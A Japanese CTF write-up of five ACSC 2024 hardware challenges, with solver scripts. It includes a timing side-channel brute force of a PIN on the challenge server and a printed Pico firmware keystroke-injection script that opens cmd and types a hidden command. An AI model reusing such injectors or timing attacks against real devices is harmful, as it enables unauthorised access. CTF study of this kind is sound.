[Hardware 50] An4lyz3_1t (140 solves)

Our surveillance team has managed to tap into a secret serial communication and capture a digital signal using a Saleae logic analyzer. Your objective is to decode the signal and uncover the hidden message.

authored by Chainfire73

dist-an4lyz3-1t-6a4bd1d579977d0a56333810ceafd835d780ac0c.tar.gz

chall.sal というファイルが与えられている。Logic 2というソフトウェアを使ってファイルを見てみる。なるほどという感じだ。タイムスタンプ付きのCSVも出力しておく。

UARTだろうと思いつつ、防衛省サイバーコンテスト2024でやったように雑にデコードする。12bitでひとかたまりであること、データはLSBから送信されていることに注意。

const fs = require('fs')
s = fs.readFileSync('digital.csv').toString();
s = s.split(/[\r\n]+/).slice(1).map(x => {
    return +x.split('.')[1]?.split('+')[0]?.slice(2); // タイムスタンプを扱いやすくする
});
s = s.map((x, i) => {
    return Math.round(((x - s[i - 1]) || 0) / 17000); // 何回0, 1が連続しているか
});

let res = '';
let now = 1;
for (const x of s) {
    res += (now + '').repeat(x);
    now = now == 1 ? 0 : 1;
}
console.log(String.fromCharCode(...res.slice(1).match(/.{12}/g).map(x => parseInt(x.slice(0, 7).split('').reverse().join(''), 2))));

フラグが得られた。

$ node s.js
ACSC{b4by4n4lyz3r_548e8c80e}
ACSC{b4by4n4lyz3r_548e8c80e}

[Hardware 150] Vault (68 solves)

Can you perform side-channel attack to this vault? The PIN is a 10-digit number.

  • Python3 is installed on remote. nc vault.chal.2024.ctf.acsc.asia 9999

authored by v3ct0r, Chainfire73

添付ファイル: dist-vault-bc8867dde0e36ae6cbd0e4c82707e2b78e4e5233.tar.gz

次のようなx86_64のELFが与えられる。PINコードを入力し、それが正しければフラグが与えられるというものだ。フラグやPINはバイナリに埋め込まれており、IDA等で適当に解析してやると 1234567890 がこのバイナリのPINだとわかる。

$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=f0f9fb828545e8b165dcddfdb896ef4678947d2c, for GNU/Linux 3.2.0, not stripped
$ ./chall
@@@  @@@   @@@@@@   @@@  @@@  @@@       @@@@@@@
@@@  @@@  @@@@@@@@  @@@  @@@  @@@       @@@@@@@
@@!  @@@  @@!  @@@  @@!  @@@  @@!         @@!
!@!  @!@  !@!  @!@  !@!  @!@  !@!         !@!
@!@  !@!  @!@!@!@!  @!@  !@!  @!!         @!!
!@!  !!!  !!!@!!!!  !@!  !!!  !!!         !!!
:!:  !!:  !!:  !!!  !!:  !!!  !!:         !!:
 ::!!:!   :!:  !:!  :!:  !:!  :!:        :!:
  ::::    ::   :::  ::::: ::  :: ::::     ::
   :       :   : :   : :  :   : :: : :     :
Enter your PIN: hoge
Access Denied
 It didn't take me any time to verify that it's not the pin
$ ./chall
…
Enter your PIN: 1234567890
flag: ACSC{**** REDACTED ****}

問題サーバに接続すると、次のようにシェルが立ち上がる。ただし、PINが変更されているようだ。なんとかしてバイナリを読み出そうにも、実行権限しか持っていない。/proc/(pid)/maps/proc/(pid)/mem から読み出そうにも、それらにはアクセスできなかった。

$ nc vault.chal.2024.ctf.acsc.asia 9999
user@NSJAIL:/home/user$ ./chall
…
Enter your PIN: 1234567890
Access Denied
 It didn't take me any time to verify that it's not the pin
user@NSJAIL:/home/user$ ls -l ./chall
ls: ./chall: Operation not permitted
---x--x--x 1 nobody nogroup 906712 Mar 30 04:42 ./chall

ではどうするか。このバイナリの挙動に注目する。このバイナリはPINを1文字ずつチェックしているわけだけれども、もしその文字が間違っていればその場で終了するし、また1文字チェックするごとに100msの sleep が入る。つまり、1文字正解していれば少なくとも100ms、5文字正解していれば少なくとも500msの実行時間となるはずだ。この差異を観測すれば1文字ずつPINが特定できるはずだ。

雑に、1文字ずつブルートフォースしつつ実行時間を出力してくれるコマンドを出すJSコードを書く。

let f = '8574', cmd = [];
for (let i = 0; i < 10; i++) {
    const num = (f + i).padEnd(10, '0');
    cmd.push(`time bash -c "echo ${num} | ./chall"`);
}
console.log(cmd.join('\n'));

これで1文字ずつ手作業で特定していく。もっとも実行に時間がかかったものが正解だ。

user@NSJAIL:/home/user$ time bash -c "echo 8574000000 | ./chall"
time bash -c "echo 8574100000 | ./chall"
time bash -c "echo 8574200000 | ./chall"
time bash -c "echo 8574300000 | ./chall"
time bash -c "echo 8574400000 | ./chall"
time bash -c "echo 8574500000 | ./chall"
time bash -c "echo 8574600000 | ./chall"
time bash -c "echo 8574700000 | ./chall"
time bash -c "echo 8574800000 | ./chall"
time bash -c "echo 8574900000 | ./chall"
…

8574219362 が正解だった。

Enter your PIN: flag: ACSC{b377er_d3L4y3d_7h4n_N3v3r_b42fd3d840948f3e}
ACSC{b377er_d3L4y3d_7h4n_N3v3r_b42fd3d840948f3e}

[Hardware 200] picopico (55 solves)

Security personnel in our company have spotted a suspicious USB flash drive. They found a Raspberry Pi Pico board inside the case, but no flash drive board. Here's the firmware dump of the Raspberry Pi Pico board. Could you figure out what this 'USB flash drive' is for?

authored by op

添付ファイル: dist-picopico-18a7c81b205ca1de2d152cdbef6a0cb525bdf433.tar.gz

firmware.bin というファイルが与えられている。strings で、次のようなPythonスクリプトが抽出できた。不揮発性メモリから何やらデータを読み込んで、そこからコマンドを復元し、キーボードとして振る舞いつつ Win+Rcmdenter → 復元したコマンドを入力するという処理をしている。実行されるコマンドを復元したい。

L=len
o=bytes
l=zip
import microcontroller
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
from adafruit_hid.keycode import Keycode
w=b"\x10\x53\x7f\x2b"
a=0x04
K=43
if microcontroller.nvm[0:L(w)]!=w:
 microcontroller.nvm[0:L(w)]=w
 O=microcontroller.nvm[a:a+K]
 h=microcontroller.nvm[a+K:a+K+K]
 F=o((kb^fb for kb,fb in l(O,h))).decode("ascii")
 S=Keyboard(usb_hid.devices)
 C=KeyboardLayoutUS(S)
 time.sleep(0.1)
 S.press(Keycode.WINDOWS,Keycode.R)
 time.sleep(0.1)
 S.release_all()
 time.sleep(1)
 C.write("cmd",delay=0.1)
 time.sleep(0.1)
 S.press(Keycode.ENTER)
 time.sleep(0.1)
 S.release_all()
 time.sleep(1)
 C.write(F,delay=0.1)
 time.sleep(0.1)
 S.press(Keycode.ENTER)
 time.sleep(0.1)
 S.release_all()
time.sleep(0xFFFFFFFF)

\x10\x53\x7f\x2bfirmware.bin で探すと、ちゃんと見つかった。ここを起点にコマンドを復元できないか。次のようなPythonスクリプトを用意する。

s = open('distfiles-picopico/firmware.bin', 'rb').read()

L=len
o=bytes
l=zip
w=b"\x10\x53\x7f\x2b"
a=0x04
K=43

i = s.find(w)
print(i)
nvm = s[i:i+a+K+K]

print(nvm)

O=nvm[a:a+K]
h=nvm[a+K:a+K+K]
F=o((kb^fb for kb,fb in l(O,h))).decode("ascii")
print(F)

実行するとフラグが得られた。

$ python3 s.py
1044480
b"\x10S\x7f+A\xa0qQ\x9f\xca\xfd\x845\n\xd2\xb0\x1e\xa8\xa9\xb7\x10\x1fUz\x8c\x98\xb2i\xef\x92\xc5\x15\xd0K\xff\x87\x17c\xe4b\xc6\xa5\xb2\xbc\x8e\xef\xd8$\xc3\x19>\xbf\x8b\xbe\xd7vq\xe1\x84'\x98\x9d\x87s.c\x19\xbf\xae\xd4\x0b\x8d\xf3\xfdv\xe4s\xcb\xe5%[\xdd\x07\xf6\xc1\xd3\xd9\xb8\x89\xa5"
echo ACSC{349040c16c36fbba8c484b289e0dae6f}
ACSC{349040c16c36fbba8c484b289e0dae6f}

[Hardware 200] PWR_Tr4ce (38 solves)

You've been given power traces and text inputs captured from a microcontroller running AES encryption. Your goal is to extract the encryption key.

EXPERIMENT SETUP

scope = chipwhisperer lite

target = stm32f3

AES key length = 16 bytes

authored by Chainfire73

添付ファイル: dist-pwr-tr4ce-d496d6a0966048feffde774458651ced1a411f2e.tar.gz

textins.npytraces.npy というファイルが与えられている。"aes textins traces" のようなクエリでググると、非常にそれっぽい記事がヒットした。ファイル形式等が一致しているように見える。

暗号化に使った鍵を復元する完全なスクリプトもあり、これを今回与えられたファイルに対して適用するとフラグが得られた。スクリプトキディで申し訳ない。

$ python3 s.py
Subkey Index: 100%|█████████████████████████████████████████████████████████████████████| 16/16 [09:21<00:00, 35.11s/it]
Best guess:
41 43 53 43 7b 50 77 72 21 34 6e 34 6c 79 7a 7d
ACSC{Pwr!4n4lyz}
ACSC{Pwr!4n4lyz}

[Hardware 200] RFID_Demod (12 solves)

We have obtained analog trace captured by sniffing a rfid writer when it is writing on a T5577 tag. Can you help us find what DATA is being written to it?

Flag Format: ACSC{UPPERCASE_HEX}

authored by Chainfire73

添付ファイル: dist-rfid-demod-52843135f57a7103a7b5b713797d82d357915a0d.tar.gz

trace.wav というファイルが与えられている。Audacityで開いてやると、こういう波形が見える。

扱いやすくするために、次のように一定時間で区切りつつ、波の形によって 01 とを割り当てる。

すると、次のようなビット列が出来上がった。じっと見つめると、(最初の 1 さえ削除すれば)00101 から構成されていることがわかる。

1001010100101001001010101001010010010101010010010100101001001001010100101001010010010100101001001

仮に 0011 に、010 としてみる。これで 10010110001011000110101110010101101011 という38ビットのビット列が出来上がった。

console.log(
    '001010100101001001010101001010010010101010010010100101001001001010100101001010010010100101001001'.replaceAll('001', 'x').replaceAll('01', 'y').replaceAll('x', '1').replaceAll('y', '0')
)

T5577で検索すると、いい感じのガイドがヒットする。後ろの方で38ビットのデータを送信しているっぽい様子も見つかる。じゃあ、適当に切り取れば実際に送信されているデータが見つかるのではないか。

次のように、3ビット目から32ビット分を切り取ったものがフラグだった。完全にエスパーな解き方をして申し訳ない。

>>> s = '10010110001011000110101110010101101011'
>>> hex(int(s[3:3+32],2))[2:].upper()
'B1635CAD'
ACSC{B1635CAD}

*1:一昨年はアテネ、去年はサンディエゴで開催されていたが、今年はACSCのポストによるとチリらしい。つまり南極の可能性もある

*2:私はWeb以外はあまり得意ではないので、このルール変更に喜んでいた

*3:なお、カテゴリ単位での合計得点が同点の場合にどうなるかというと、まず総合得点順、それでも一緒なら最終提出日時順で選ばれるということが参加者からの問い合わせによって明確にされていた

*4:前回大会より易化したというのもあるが、Webで全完できたのも嬉しい。Hardwareも全完ではあるものの、エスパーとスクリプトキディで全問を解いたようなものなので実感が薄い